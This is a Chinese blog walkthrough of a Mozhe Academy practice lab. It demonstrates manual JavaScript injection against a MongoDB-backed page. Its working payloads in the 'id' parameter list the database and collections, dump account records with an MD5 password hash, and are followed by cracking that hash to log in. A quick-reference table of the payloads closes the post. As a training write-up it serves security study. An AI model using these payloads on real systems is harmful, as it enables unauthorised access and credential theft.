> 技术文档 > 墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)


一、SQL手工注入漏洞测试(MongoDB数据库)

本文以墨者学院靶场为例,演示MongoDB数据库的手工SQL注入全过程。靶场以自己的地址为准:http://124.70.71.251:42286/new_list.php?id=1

二、注入原理说明

MongoDB作为NoSQL数据库,其注入方式与传统SQL注入不同。攻击主要利用:

  1. JSON/BSON语法闭合
  2. JavaScript代码执行
  3. 查询结果强制返回

三、注入步骤详解(如下指令去掉了id之前的内容

1. 查询回显位置

id=1\'});return ({\'title\':\'1\',\'content\':\'2
  • 攻击手法
    • \'} 闭合原始查询的JSON结构
    • ); 终止当前语句
    • return 构造新文档强制返回
  • 作用:确认页面显示titlecontent字段的位置
    墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

2. 查询数据库名称

id=1\'});return ({\'title\':tojson(db),\'content\':\'2
  • 关键函数
    • db:当前数据库对象
    • tojson():将MongoDB对象转为JSON字符串
  • 输出示例
    mozhe_cms_Authority

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

3. 查询表名称(集合列表)

id=1\'});return ({\'title\':tojson(db.getCollectionNames()),\'content\':\'2
  • 核心方法
    • getCollectionNames():返回所有集合名称数组
  • 典型结果
    [ \"Authority_confidential\", \"notice\", \"system.indexes\" ]

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

4. 查询字段结构

id=1\'});return ({\'title\':tojson(db.Authority_confidential.find()[0]),\'content\':\'2

修改find()[1]值查询其他账号:

id=1\'});return ({\'title\':tojson(db.Authority_confidential.find()[1]),\'content\':\'2
  • 技术要点
    • Authority_confidential:目标集合名
    • find()[0]:获取集合第一条记录
    • find()[1]:获取集合第二条记录
  • 泄露内容
    { \"_id\": ObjectId(\"6885d4f44abcd62e71223bc5\"), \"name\": \"mozhe\", \"password\": \"a83cd5ad5ed3e1c5597441aaab289f5c\", \"status\": \"0\"}

墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)
墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

5. MD5解密后,手动登录,获取Key

MD5工具地址:https://www.cmd5.com/
墨者:通过手工解决SQL手工注入漏洞测试(MongoDB数据库)

四、关键指令速查表

指令/函数 作用 示例输出 \'}) 闭合原始查询 终止当前JSON结构 return 控制返回数据 构造恶意输出 tojson() 对象序列化 转为可读JSON db 当前数据库对象 包含连接信息 getCollectionNames() 获取所有集合 [“coll1”,“coll2”] find()[0] 获取首条记录 完整文档结构